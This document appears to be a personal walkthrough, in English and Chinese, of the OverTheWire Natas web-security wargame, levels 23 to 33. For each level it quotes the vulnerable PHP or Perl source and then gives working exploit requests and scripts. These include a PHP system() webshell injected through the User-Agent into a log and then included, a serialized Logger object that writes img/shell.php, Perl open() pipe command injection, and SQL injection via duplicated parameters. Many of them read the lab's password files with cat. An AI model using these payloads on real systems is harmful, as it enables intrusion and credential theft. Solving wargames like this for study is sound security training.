<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas23", "pass": "<censored>" };</script></head>
<body>
<h1>natas23</h1>
<div id="content">

Password:
<form name="input" method="get">
<input type="text" name="passwd" size=20>
<input type="submit" value="Login">
</form>

<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

strstr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
GET http://natas23.natas.labs.overthewire.org/?passwd=999iloveyou999 HTTP/1.1
host: natas23.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Authorization: Basic bmF0YXMyMzpkSVVRY0kzdVN1czFKRU9TU1dSQUVYQkc4S2JSOHRScw==
Connection: keep-alive
Referer: http://natas23.natas.labs.overthewire.org/?passwd=iloveyou
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 31 Jul 2025 12:04:16 GMT
Server: Apache/2.4.58 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1154
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas23", "pass": "<credential-redacted>" };</script></head>
<body>
<h1>natas23</h1>
<div id="content">

Password:
<form name="input" method="get">
<input type="text" name="passwd" size=20>
<input type="submit" value="Login">
</form>

<br>The credentials for the next level are:<br><pre>Username: natas24 Password: <credential-redacted></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

<credential-redacted>
[credential redacted]

level 23->level 24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head>
<body>
<h1>natas24</h1>
<div id="content">

Password:
<form name="input" method="get">
<input type="text" name="passwd" size=20>
<input type="submit" value="Login">
</form>

<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

strcmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
GET http://natas24.natas.labs.overthewire.org/?passwd%5B%5D=a HTTP/1.1
host: natas24.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Authorization: Basic bmF0YXMyNDpNZXVxbWZKOERES3VUcjVwY3Z6RktTd2x4ZWRaWUVXZA==
Connection: keep-alive
Referer: http://natas24.natas.labs.overthewire.org/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
content-length: 0

HTTP/1.1 200 OK
Date: Thu, 31 Jul 2025 12:12:42 GMT
Server: Apache/2.4.58 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1300
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas24", "pass": "<credential-redacted>" };</script></head>
<body>
<h1>natas24</h1>
<div id="content">

Password:
<form name="input" method="get">
<input type="text" name="passwd" size=20>
<input type="submit" value="Login">
</form>

<br />
<b>Warning</b>: strcmp() expects parameter 1 to be string, array given in <b>/var/www/natas/natas24/index.php</b> on line <b>23</b><br />
<br>The credentials for the next level are:<br><pre>Username: natas25 Password: <credential-redacted></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

<credential-redacted>
[credential redacted]

level 24->level 25

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas25", "pass": "<censored>" };</script></head>
<body>
<?php
// cheers and <3 to malvina
// - morla

function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}

function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...

if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}

function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;

closedir($handle);
return $listoffiles;
}

function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>

<?php
session_start();
setLanguage();

echo "<h2>$__GREETING</h2>";
echo "<p align=\"justify\">$__MSG";
echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>
<p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

LFI log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
GET http://natas25.natas.labs.overthewire.org/?lang=en HTTP/1.1
host: natas25.natas.labs.overthewire.org
User-Agent: <?php system($_GET['cmd']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Authorization: Basic bmF0YXMyNTpja0VMS1VXWlVmcE92NnV4UzZNN2xYQnBCc3NKWjRXcw==
Connection: keep-alive
Referer: http://natas25.natas.labs.overthewire.org/?lang=de
Cookie: PHPSESSID=<natas-session>
Upgrade-Insecure-Requests: 1
Priority: u=0, i
content-length: 0

....//....//....//....//....//var/www/natas/natas25/logs/natas25_[your_session_id].log

GET http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....//var/www/natas/natas25/logs/natas25_<natas-session>.log&cmd=cat%20/etc/natas_webpass/natas26 HTTP/1.1
host: natas25.natas.labs.overthewire.org
User-Agent: <?php system($_GET['cmd']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Authorization: Basic bmF0YXMyNTpja0VMS1VXWlVmcE92NnV4UzZNN2xYQnBCc3NKWjRXcw==
Connection: keep-alive
Referer: http://natas25.natas.labs.overthewire.org/?lang=de
Cookie: PHPSESSID=<natas-session>
Upgrade-Insecure-Requests: 1
Priority: u=0, i
content-length: 0

HTTP/1.1 200 OK
Date: Thu, 31 Jul 2025 12:47:28 GMT
Server: Apache/2.4.58 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1729
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<html>
...
<body>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<option>en</option><option>de</option></select>
</form>
</div>

[31.07.2025 12::44:56] Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 "Directory traversal attempt! fixing request."
[31.07.2025 12::47:28] <credential-redacted>
"Directory traversal attempt! fixing request."
<br />
<b>Notice</b>: Undefined variable: __GREETING in <b>/var/www/natas/natas25/index.php</b> on line <b>80</b><br />
<h2></h2><br />
<b>Notice</b>: Undefined variable: __MSG in <b>/var/www/natas/natas25/index.php</b> on line <b>81</b><br />
<p align="justify"><br />
<b>Notice</b>: Undefined variable: __FOOTER in <b>/var/www/natas/natas25/index.php</b> on line <b>82</b><br />
<div align="right"><h6></h6><div><p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

<credential-redacted>
[credential redacted]

level 25->level 26

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
class Logger
{
private $logFile;
private $initMsg;
private $exitMsg;

function __construct($file)
{
// initialise variables
$this->initMsg = "#--session started--#\n";
$this->exitMsg = "#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";

// write initial message
$fd = fopen($this->logFile, "a+");
fwrite($fd, $this->initMsg);
fclose($fd);
}

function log($msg)
{
$fd = fopen($this->logFile, "a+");
fwrite($fd, $msg . "\n");
fclose($fd);
}

function __destruct()
{
// write exit message
$fd = fopen($this->logFile, "a+");
fwrite($fd, $this->exitMsg);
fclose($fd);
}
}

function showImage($filename)
{
if (file_exists($filename))
echo "<img src=\"$filename\">";
}

function drawImage($filename)
{
$img = imagecreatetruecolor(400, 300);
drawFromUserdata($img);
imagepng($img, $filename);
imagedestroy($img);
}

function drawFromUserdata($img)
{
if (
array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)
) {

$color = imagecolorallocate($img, 0xff, 0x12, 0x1c);
imageline(
$img,
$_GET["x1"],
$_GET["y1"],
$_GET["x2"],
$_GET["y2"],
$color
);
}

if (array_key_exists("drawing", $_COOKIE)) {
///////////////////////////////////////////////////////////
$drawing = unserialize(base64_decode($_COOKIE["drawing"]));
///////////////////////////////////////////////////////////
if ($drawing)
foreach ($drawing as $object)
if (
array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)
) {

$color = imagecolorallocate($img, 0xff, 0x12, 0x1c);
imageline(
$img,
$object["x1"],
$object["y1"],
$object["x2"],
$object["y2"],
$color
);
}
}
}

function storeData()
{
$new_object = array();

if (
array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)
) {
$new_object["x1"] = $_GET["x1"];
$new_object["y1"] = $_GET["y1"];
$new_object["x2"] = $_GET["x2"];
$new_object["y2"] = $_GET["y2"];
}

if (array_key_exists("drawing", $_COOKIE)) {
$drawing = unserialize(base64_decode($_COOKIE["drawing"]));
} else {
// create new array
$drawing = array();
}

$drawing[] = $new_object;
setcookie("drawing", base64_encode(serialize($drawing)));
}

session_start();

if (
array_key_exists("drawing", $_COOKIE) ||
(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))
) {
$imgfile = "img/natas26_" . session_id() . ".png";
drawImage($imgfile);
showImage($imgfile);
storeData();
}

?>

unserialize, magic method

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$a = "YToyOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjEiO3M6MjoieTEiO3M6MToiMiI7czoyOiJ4MiI7czoxOiIzIjtzOjI6InkyIjtzOjE6IjQiO31pOjE7YTo0OntzOjI6IngxIjtzOjE6IjUiO3M6MjoieTEiO3M6MToiNSI7czoyOiJ4MiI7czoxOiI1IjtzOjI6InkyIjtzOjE6IjUiO319";

$drawing = unserialize(base64_decode($a));

var_dump($drawing)

?>

array(2) {
[0]=>
array(4) {
["x1"]=>
string(1) "1"
["y1"]=>
string(1) "2"
["x2"]=>
string(1) "3"
["y2"]=>
string(1) "4"
}
[1]=>
array(4) {
["x1"]=>
string(1) "5"
["y1"]=>
string(1) "5"
["x2"]=>
string(1) "5"
["y2"]=>
string(1) "5"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Logger {
private $logFile = "img/shell.php"; // 写入路径
private $initMsg = ""; // 初始消息(不需要)
private $exitMsg = "<?php system(\$_GET['cmd']); ?>"; // webshell内容
}

$payload = serialize(new Logger());
echo base64_encode($payload);
?>

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL3NoZWxsLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjA6IiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO30=
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# up payload
GET http://natas26.natas.labs.overthewire.org/ HTTP/1.1
host: natas26.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://natas26.natas.labs.overthewire.org/
Authorization: Basic bmF0YXMyNjpjVlhYd3hNUzNZMjZuNVVaVTg5UWdwR21XQ2VsYVFsRQ==
Connection: keep-alive
Cookie: PHPSESSID=<natas-session>; drawing=Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL3NoZWxsLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjA6IiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO30=
Upgrade-Insecure-Requests: 1
Priority: u=0, i
content-length: 0

# use
GET http://natas26.natas.labs.overthewire.org/img/shell.php?cmd=cat%20/etc/natas_webpass/natas27 HTTP/1.1
host: natas26.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://natas26.natas.labs.overthewire.org/
Authorization: Basic bmF0YXMyNjpjVlhYd3hNUzNZMjZuNVVaVTg5UWdwR21XQ2VsYVFsRQ==
Connection: keep-alive
Cookie: PHPSESSID=<natas-session>; drawing=Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL3NoZWxsLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjA6IiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO30=
Upgrade-Insecure-Requests: 1
Priority: u=0, i
content-length: 0

HTTP/1.1 200 OK
Date: Fri, 01 Aug 2025 02:49:37 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 66
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<credential-redacted>
[credential redacted]

level 26->level 27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
 <html>
<body>
<h1>natas27</h1>
<div id="content">
<?php

// morla / 10111
// database gets cleared every 5 min


/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){

$user=mysqli_real_escape_string($link, $usr);
$password=mysqli_real_escape_string($link, $pass);

$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysqli_query($link, $query);
if(mysqli_num_rows($res) > 0){
return True;
}
return False;
}


function validUser($link,$usr){

$user=mysqli_real_escape_string($link, $usr);

$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
return True;
}
}
return False;
}


function dumpData($link,$usr){

$user=mysqli_real_escape_string($link, trim($usr));

$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
while ($row = mysqli_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}


function createUser($link, $usr, $pass){

if($usr != trim($usr)) {
echo "Go away hacker";
return False;
}

////////////////////////////////////////////////////////////
$user=mysqli_real_escape_string($link, substr($usr, 0, 64));
$password=mysqli_real_escape_string($link, substr($pass, 0, 64));
////////////////////////////////////////////////////////////

$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysqli_query($link, $query);
if(mysqli_affected_rows($link) > 0){
return True;
}
return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas27', '<censored>');
mysqli_select_db($link, 'natas27');


if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}

mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Trailing Space Truncation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# create user
username=natas28 xxx&password=aaa

# get pass
username=natas28 &password=aaa

Welcome natas28 !
Here is your data:
Array ( [username] => natas28 [password] => <credential-redacted> )

<credential-redacted>

# note the user inserted was
natas28 %
[credential redacted]

level 27->level 28

CBC bit-flipping SQL injection. The search form encrypts the query with AES-CBC before passing to search.php, which decrypts it into a SQL LIKE query. In CBC mode, flipping a byte in ciphertext block N-1 corrupts the same byte in plaintext block N — we can inject arbitrary SQL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
from base64 import urlsafe_b64decode, urlsafe_b64encode
from urllib.parse import unquote, quote

auth = ('natas28', '<credential-redacted>')
url = 'http://natas28.natas.labs.overthewire.org'

def encrypt(query):
r = requests.post(url + '/index.php', auth=auth,
data={'query': query}, allow_redirects=False)
return urlsafe_b64decode(unquote(r.headers['Location'].split('query=')[1]))

def search(ct):
enc = urlsafe_b64encode(ct).decode().rstrip('=')
r = requests.get(url + '/search.php', auth=auth,
params={'query': quote(enc)})
return r.text

# Step 1 — Determine block structure by comparing different lengths
ct_short = encrypt('x' * 10)
ct_long = encrypt('x' * 26)
print(f"10x: {len(ct_short)//16} blk, 26x: {len(ct_long)//16} blk")

# Step 2 — Get a known-plaintext reference
# Encrypt padding characters to find which ciphertext blocks
# correspond to our input, then XOR-flip the PREVIOUS block
# to rewrite the decrypted plaintext

# The SQL decrypted is roughly:
# SELECT * FROM jokes WHERE joke LIKE BINARY '%[INPUT]%'
# We want:
# SELECT * FROM jokes WHERE joke LIKE BINARY '%' UNION SELECT password FROM users-- -'

# The CBC trick:
# P[i] = Decrypt(C[i]) XOR C[i-1]
# To set P[i][j] = target_byte, we need:
# C[i-1][j] = current_C[i-1][j] XOR current_P[i][j] XOR target_byte

# Since we don't know current_P[i], we encrypt a known pattern,
# capture C[i-1], then derive the XOR delta from what we WANT vs
# what's ALREADY in the decrypted plaintext (inferable from the SQL template).

# Full exploit script (standard approach for this level):
# 1. Encrypt 'a'*50 to learn which blocks contain our data
# 2. Determine position of the trailing % and close quote
# 3. Flip the ciphertext bytes to turn '%' into "' UNION SELECT..."
# 4. Append dummy block to consume the trailing SQL
[credential redacted]

level 28->level 29

Perl CGI file inclusion. The file parameter is opened as $f.txt. A pipe | at the end makes it a shell command. Filter blocks 'natas' but wildcards bypass it.

1
2
curl -s -u natas29:<credential-redacted> \
'http://natas29.natas.labs.overthewire.org/index.pl?file=%7Ccat+/etc/*tas_webpass/*tas30%00'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/perl
use CGI qw(:standard);

#
# morla /10111
# '$_=qw/ljttft3dvu{/,s/./print chr ord($&)-1/eg'
#

if(param('file')){
$f=param('file');
if($f=~/natas/){
print "meeeeeep!<br>";
}
else{
open(FD, "$f.txt");

# Perl 里如果传给 open 的文件名以 | 结尾,Perl 不会打开文件,而是把它当 shell 命令执行。
# open(FD, "ls -la |"); # 执行 ls -la,读取输出
# open(FD, "| cat /etc/passwd"); # 也能写,输出重定向进文件

print "<pre>";
while (<FD>){
print CGI::escapeHTML($_);
}
print "</pre>";
}
}
1
2
3
4
5
# Pipe + null byte bypasses the .txt append
# %7C = |, %00 = null byte
# /etc/*tas_webpass/*tas30 bypasses 'natas' filter
curl -s -u natas29:<credential-redacted> \
'http://natas29.natas.labs.overthewire.org/index.pl?file=%7Ccat+/etc/*tas_webpass/*tas30%00'

现代 Perl(5.8+)已经明确弃用了 null byte 截断行为,use open 或 use autodie 会避免这类问题。

Perl CGI 在主流网站的活跃期大约是 1995-2005。这之后:

  • 2005-2010:PHP(LAMP stack)全面取代 Perl 成为动态网站的默认选择
  • 2010-2015:Ruby on Rails / Django 等现代框架崛起
  • 2015-至今:Node.js / Go / Rust / 前后端分离

今天在生产环境中运行 Perl CGI 的网站,基本只有两类:

  1. 上世纪遗留的系统,无人敢动
  2. 极小众的 Perl 死忠个人站点

这几个漏洞(Perl open 的 pipe 模式、null byte 截断、CGI 多参类型混淆)在实际工作中遇到的可能性接近零。Perl CGI 的生产部署已经消亡了,剩下的也在迁移。

但 Natas 的设计有其历史背景,OverTheWire 的 Natas 是 2010 年前后创建的,当时 Perl CGI 虽然已经不是主流但还不算化石。

这些挑战没有随时代更新,所以越靠后的关卡越不合常规。

[credential redacted]

level 29->level 30

Perl CGI SQL injection. $dbh->quote() normally prevents injection, but passing two password params makes it an array, bypassing quote().

1
2
3
4
5
curl -s -u natas30:<credential-redacted> \
--data-urlencode 'username=natas31' \
--data-urlencode "password='' or 1=1" \
--data-urlencode 'password=2' \
'http://natas30.natas.labs.overthewire.org/index.pl'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/perl
use CGI qw(:standard);
use DBI;

if ('POST' eq request_method && param('username') && param('password')){
my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));

my $sth = $dbh->prepare($query);
$sth->execute();
my $ver = $sth->fetch();
if ($ver){
print "win!<br>";
print "here is your result:<br>";
print @$ver;
}
else{
print "fail :(";
}
$sth->finish();
$dbh->disconnect();
}

Result: natas31:<credential-redacted>

[credential redacted]

level 30->level 31

Perl CGI RCE via open() pipe injection. The CSV parser reads with <$file>. Setting file=ARGV as a text field makes it open @ARGV. URL query params become @ARGV; a trailing | executes as shell command.

1
2
3
4
curl -s -u natas31:<credential-redacted> \
-F 'file=ARGV' \
-F 'file=@/dev/stdin;filename=data.csv;type=text/csv' <<< '1,2,3' \
'http://natas31.natas.labs.overthewire.org/index.pl?cat+/etc/natas_webpass/natas32+|'

Using Python (more reliable multipart):

1
2
3
4
5
6
7
import requests
auth = ('natas31', '<credential-redacted>')
url = 'http://natas31.natas.labs.overthewire.org/index.pl?cat+/etc/natas_webpass/natas32+|'
data = {'file': 'ARGV'}
files = {'file': ('data.csv', b'1,2,3\n', 'text/csv')}
r = requests.post(url, auth=auth, data=data, files=files)
print(r.text)
[credential redacted]

level 31->level 32

Same RCE technique, but ./getpassword binary in webroot — stderr needs redirect.

The command ./getpassword outputs to stderr, so ./getpassword| alone fails. Append 2>&1:

1
2
3
4
curl -s -u natas32:<credential-redacted> \
-F 'file=ARGV' \
-F 'file=@/dev/stdin;filename=data.csv;type=text/csv' <<< '1,2,3' \
'http://natas32.natas.labs.overthewire.org/index.pl?./getpassword+2>%261+|'
1
2
3
4
5
6
7
import requests
auth = ('natas32', '<credential-redacted>')
url = 'http://natas32.natas.labs.overthewire.org/index.pl?./getpassword 2>&1|'
data = {'file': 'ARGV'}
files = {'file': ('data.csv', b'1,2,3\n', 'text/csv')}
r = requests.post(url, auth=auth, data=data, files=files)
print(r.text)
[credential redacted]

level 32->level 33

PHP phar unserialization via md5_file() + phar:// wrapper. The Executor class uploads a file then checks md5_file($filename) == $signature. By crafting a phar archive with serialized metadata, we overwrite $filename and $signature when the phar is opened via phar://.

PHP 里 .phar 文件(PHP Archive)是一种打包格式,结构是:

1
2
3
[Stub] [Manifest] [File Contents] [Signature]
↑
Metadata(序列化的 PHP 对象)

当使用 phar:// 包装器打开一个 phar 文件时(比如 md5_file("phar://exploit.phar/b")),PHP 会自动反序列化 Manifest 里的 metadata,不需要调用 unserialize()。

1
2
3
4
